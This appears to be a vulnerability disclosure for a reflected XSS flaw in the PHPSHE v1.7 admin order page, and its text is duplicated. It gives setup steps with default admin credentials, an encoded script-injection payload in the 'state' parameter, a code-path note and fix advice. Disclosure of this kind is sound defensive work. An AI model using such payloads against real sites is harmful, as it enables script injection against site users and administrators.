Description of vulnerability
- website: PHPSHE system V1.7
- website domain name: http://www.phpshe.com/
- the IP address: http://www.phpshe.com/down/phpshe1.7.rar
- version: PHPSHE B2C system v1.7 (build 20180905 UTF8)
Test time:
January 7, 2019
Description of vulnerability:
Lingbao JanHao network technology co., LTD. PHPSHE system background - there are XSS vulnerabilities.
POC and validation
Local setup environment:
1, download PHPSHE V1.7 system at http://www.phpshe.com/down/phpshe1.7.rar
2, the background to http://localhost/phpshe1.7/admin.php, the password is admin/admin
3. Verify by the following POC verification methods.
POC：
http://localhost/phpshe1.7/admin.php?mod=order&state=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00358F)%3C/scRipt%3E
Suggestions for reinforcement:
filter input, escape output.
Code review:
http://localhost/phpshe1.7/admin.php?mod=order&state=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00358F)%3C/scRipt%3E
GET request to admin.php line 87; order_list.php loads the template and outputs it to the front-end HTML. Malicious script is executed.
Description of vulnerability
Test time:
January 7, 2019
Description of vulnerability:
Lingbao JanHao network technology co., LTD. PHPSHE system background - there are XSS vulnerabilities.
POC and validation
Local setup environment:
1, download PHPSHE V1.7 system at http://www.phpshe.com/down/phpshe1.7.rar
2, the background to http://localhost/phpshe1.7/admin.php, the password is admin/admin
3. Verify by the following POC verification methods.
Suggestions for reinforcement:
filter input, escape output.
Code review:
http://localhost/phpshe1.7/admin.php?mod=order&state=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00358F)%3C/scRipt%3EGET request to admin.php line 87; order_list.php loads the template and outputs it to the front-end HTML. Malicious script is executed.